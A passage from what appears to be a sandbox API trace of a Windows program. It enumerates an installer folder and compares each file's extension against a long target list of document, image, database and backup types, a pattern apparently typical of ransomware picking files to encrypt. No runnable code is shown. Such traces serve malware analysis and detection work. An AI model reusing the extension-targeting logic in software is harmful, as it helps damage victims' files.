ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.105] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.105] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.105] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.105] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.106] FindClose (in: hFindFile=0x42905c0 | out: hFindFile=0x42905c0) returned 1 [0101.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.106] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0101.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.106] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.107] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.107] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.108] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.108] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.108] lstrlenW (lpString=".1cd") returned 4 [0101.108] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.108] lstrlenW (lpString=".3ds") returned 4 [0101.108] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0101.108] lstrlenW (lpString=".3fr") returned 4 [0101.108] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0101.108] lstrlenW (lpString=".3g2") returned 4 [0101.108] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0101.108] lstrlenW (lpString=".3gp") returned 4 [0101.108] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0101.108] lstrlenW (lpString=".7z") returned 3 [0101.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.108] lstrlenW (lpString=".accda") returned 6 [0101.108] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1 [0101.108] lstrlenW (lpString=".accdb") returned 6 [0101.108] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1 [0101.108] lstrlenW (lpString=".accdc") returned 6 [0101.108] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1 [0101.108] lstrlenW (lpString=".accde") returned 6 [0101.108] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1 [0101.108] lstrlenW (lpString=".accdt") returned 6 [0101.108] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1 [0101.109] lstrlenW (lpString=".accdw") returned 6 [0101.109] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1 [0101.109] lstrlenW (lpString=".adb") returned 4 [0101.109] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".adp") returned 4 [0101.109] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ai") returned 3 [0101.109] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0101.109] lstrlenW (lpString=".ai3") returned 4 [0101.109] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ai4") returned 4 [0101.109] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ai5") returned 4 [0101.109] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ai6") returned 4 [0101.109] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ai7") returned 4 [0101.109] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ai8") returned 4 [0101.109] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".anim") returned 5 [0101.109] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1 [0101.109] lstrlenW (lpString=".arw") returned 4 [0101.109] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".as") returned 3 [0101.109] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0101.109] lstrlenW (lpString=".asa") returned 4 [0101.109] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".asc") returned 4 [0101.109] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0101.109] lstrlenW (lpString=".ascx") returned 5 [0101.110] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1 [0101.110] lstrlenW (lpString=".asm") returned 4 [0101.110] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".asmx") returned 5 [0101.110] lstrcmpiW (lpString1=".asmx", lpString2="a.xml") returned -1 [0101.110] lstrlenW (lpString=".asp") returned 4 [0101.110] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".aspx") returned 5 [0101.110] lstrcmpiW (lpString1=".aspx", lpString2="a.xml") returned -1 [0101.110] lstrlenW (lpString=".asr") returned 4 [0101.110] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".asx") returned 4 [0101.110] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".avi") returned 4 [0101.110] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".avs") returned 4 [0101.110] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".backup") returned 7 [0101.110] lstrcmpiW (lpString1=".backup", lpString2="ata.xml") returned -1 [0101.110] lstrlenW (lpString=".bak") returned 4 [0101.110] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".bay") returned 4 [0101.110] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".bd") returned 3 [0101.110] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0101.110] lstrlenW (lpString=".bin") returned 4 [0101.110] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0101.110] lstrlenW (lpString=".bmp") returned 4 [0101.111] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".bz2") returned 4 [0101.111] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".c") returned 2 [0101.111] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0101.111] lstrlenW (lpString=".cdr") returned 4 [0101.111] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".cer") returned 4 [0101.111] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".cf") returned 3 [0101.111] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0101.111] lstrlenW (lpString=".cfc") returned 4 [0101.111] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".cfm") returned 4 [0101.111] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".cfml") returned 5 [0101.111] lstrcmpiW (lpString1=".cfml", lpString2="a.xml") returned -1 [0101.111] lstrlenW (lpString=".cfu") returned 4 [0101.111] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".chm") returned 4 [0101.111] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".cin") returned 4 [0101.111] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".class") returned 6 [0101.111] lstrcmpiW (lpString1=".class", lpString2="ta.xml") returned -1 [0101.111] lstrlenW (lpString=".clx") returned 4 [0101.111] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".config") returned 7 [0101.111] lstrcmpiW (lpString1=".config", lpString2="ata.xml") returned -1 [0101.111] lstrlenW (lpString=".cpp") returned 4 [0101.111] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".cr2") returned 4 [0101.111] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0101.111] lstrlenW (lpString=".crt") returned 4 [0101.112] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".crw") returned 4 [0101.112] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".cs") returned 3 [0101.112] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0101.112] lstrlenW (lpString=".css") returned 4 [0101.112] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".csv") returned 4 [0101.112] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".cub") returned 4 [0101.112] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dae") returned 4 [0101.112] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dat") returned 4 [0101.112] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".db") returned 3 [0101.112] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0101.112] lstrlenW (lpString=".dbf") returned 4 [0101.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dbx") returned 4 [0101.112] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dc3") returned 4 [0101.112] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dcm") returned 4 [0101.112] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dcr") returned 4 [0101.112] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".der") returned 4 [0101.112] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dib") returned 4 [0101.112] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dic") returned 4 [0101.112] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0101.112] lstrlenW (lpString=".dif") returned 4 [0101.112] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".divx") returned 5 [0101.113] lstrcmpiW (lpString1=".divx", lpString2="a.xml") returned -1 [0101.113] lstrlenW (lpString=".djvu") returned 5 [0101.113] lstrcmpiW (lpString1=".djvu", lpString2="a.xml") returned -1 [0101.113] lstrlenW (lpString=".dng") returned 4 [0101.113] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".doc") returned 4 [0101.113] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".docm") returned 5 [0101.113] lstrcmpiW (lpString1=".docm", lpString2="a.xml") returned -1 [0101.113] lstrlenW (lpString=".docx") returned 5 [0101.113] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.113] lstrlenW (lpString=".dot") returned 4 [0101.113] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dotm") returned 5 [0101.113] lstrcmpiW (lpString1=".dotm", lpString2="a.xml") returned -1 [0101.113] lstrlenW (lpString=".dotx") returned 5 [0101.113] lstrcmpiW (lpString1=".dotx", lpString2="a.xml") returned -1 [0101.113] lstrlenW (lpString=".dpx") returned 4 [0101.113] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dqy") returned 4 [0101.113] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dsn") returned 4 [0101.113] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dt") returned 3 [0101.113] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0101.113] lstrlenW (lpString=".dtd") returned 4 [0101.113] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dwg") returned 4 [0101.113] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dwt") returned 4 [0101.113] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0101.113] lstrlenW (lpString=".dx") returned 3 [0101.113] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0101.113] lstrlenW (lpString=".dxf") returned 4 [0101.114] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".edml") returned 5 [0101.114] lstrcmpiW (lpString1=".edml", lpString2="a.xml") returned -1 [0101.114] lstrlenW (lpString=".efd") returned 4 [0101.114] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".elf") returned 4 [0101.114] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".emf") returned 4 [0101.114] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".emz") returned 4 [0101.114] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".epf") returned 4 [0101.114] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".eps") returned 4 [0101.114] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".epsf") returned 5 [0101.114] lstrcmpiW (lpString1=".epsf", lpString2="a.xml") returned -1 [0101.114] lstrlenW (lpString=".epsp") returned 5 [0101.114] lstrcmpiW (lpString1=".epsp", lpString2="a.xml") returned -1 [0101.114] lstrlenW (lpString=".erf") returned 4 [0101.114] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".exr") returned 4 [0101.114] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".f4v") returned 4 [0101.114] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".fido") returned 5 [0101.114] lstrcmpiW (lpString1=".fido", lpString2="a.xml") returned -1 [0101.114] lstrlenW (lpString=".flm") returned 4 [0101.114] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".flv") returned 4 [0101.114] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".frm") returned 4 [0101.114] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0101.114] lstrlenW (lpString=".fxg") returned 4 [0101.114] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".geo") returned 4 [0101.115] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".gif") returned 4 [0101.115] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".grs") returned 4 [0101.115] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".gz") returned 3 [0101.115] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0101.115] lstrlenW (lpString=".h") returned 2 [0101.115] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0101.115] lstrlenW (lpString=".hdr") returned 4 [0101.115] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".hpp") returned 4 [0101.115] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".hta") returned 4 [0101.115] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".htc") returned 4 [0101.115] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".htm") returned 4 [0101.115] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".html") returned 5 [0101.115] lstrcmpiW (lpString1=".html", lpString2="a.xml") returned -1 [0101.115] lstrlenW (lpString=".icb") returned 4 [0101.115] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".ics") returned 4 [0101.115] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".iff") returned 4 [0101.115] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".inc") returned 4 [0101.115] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0101.115] lstrlenW (lpString=".indd") returned 5 [0101.116] lstrcmpiW (lpString1=".indd", lpString2="a.xml") returned -1 [0101.116] lstrlenW (lpString=".ini") returned 4 [0101.116] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".iqy") returned 4 [0101.116] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".j2c") returned 4 [0101.116] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".j2k") returned 4 [0101.116] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".java") returned 5 [0101.116] lstrcmpiW (lpString1=".java", lpString2="a.xml") returned -1 [0101.116] lstrlenW (lpString=".jp2") returned 4 [0101.116] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".jpc") returned 4 [0101.116] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".jpe") returned 4 [0101.116] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".jpeg") returned 5 [0101.116] lstrcmpiW (lpString1=".jpeg", lpString2="a.xml") returned -1 [0101.116] lstrlenW (lpString=".jpf") returned 4 [0101.116] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".jpg") returned 4 [0101.116] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".jpx") returned 4 [0101.116] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0101.116] lstrlenW (lpString=".js") returned 3 [0101.116] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0101.117] lstrlenW (lpString=".jsf") returned 4 [0101.117] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".json") returned 5 [0101.117] lstrcmpiW (lpString1=".json", lpString2="a.xml") returned -1 [0101.117] lstrlenW (lpString=".jsp") returned 4 [0101.117] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".kdc") returned 4 [0101.117] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".kmz") returned 4 [0101.117] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".kwm") returned 4 [0101.117] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".lasso") returned 6 [0101.117] lstrcmpiW (lpString1=".lasso", lpString2="ta.xml") returned -1 [0101.117] lstrlenW (lpString=".lbi") returned 4 [0101.117] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".lgf") returned 4 [0101.117] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".lgp") returned 4 [0101.117] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".log") returned 4 [0101.117] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".m1v") returned 4 [0101.117] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".m4a") returned 4 [0101.117] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0101.117] lstrlenW (lpString=".m4v") returned 4 [0101.118] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".max") returned 4 [0101.118] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".md") returned 3 [0101.118] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0101.118] lstrlenW (lpString=".mda") returned 4 [0101.118] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mdb") returned 4 [0101.118] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mde") returned 4 [0101.118] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mdf") returned 4 [0101.118] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mdw") returned 4 [0101.118] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mef") returned 4 [0101.118] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mft") returned 4 [0101.118] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mfw") returned 4 [0101.118] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mht") returned 4 [0101.118] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mhtml") returned 6 [0101.118] lstrcmpiW (lpString1=".mhtml", lpString2="ta.xml") returned -1 [0101.118] lstrlenW (lpString=".mka") returned 4 [0101.118] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0101.118] lstrlenW (lpString=".mkidx") returned 6 [0101.118] lstrcmpiW (lpString1=".mkidx", lpString2="ta.xml") returned -1 [0101.119] lstrlenW (lpString=".mkv") returned 4 [0101.119] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mos") returned 4 [0101.119] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mov") returned 4 [0101.119] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mp3") returned 4 [0101.119] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mp4") returned 4 [0101.119] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mpeg") returned 5 [0101.119] lstrcmpiW (lpString1=".mpeg", lpString2="a.xml") returned -1 [0101.119] lstrlenW (lpString=".mpg") returned 4 [0101.119] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mpv") returned 4 [0101.119] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mrw") returned 4 [0101.119] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".msg") returned 4 [0101.119] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".mxl") returned 4 [0101.119] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".myd") returned 4 [0101.119] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".myi") returned 4 [0101.119] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".nef") returned 4 [0101.119] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0101.119] lstrlenW 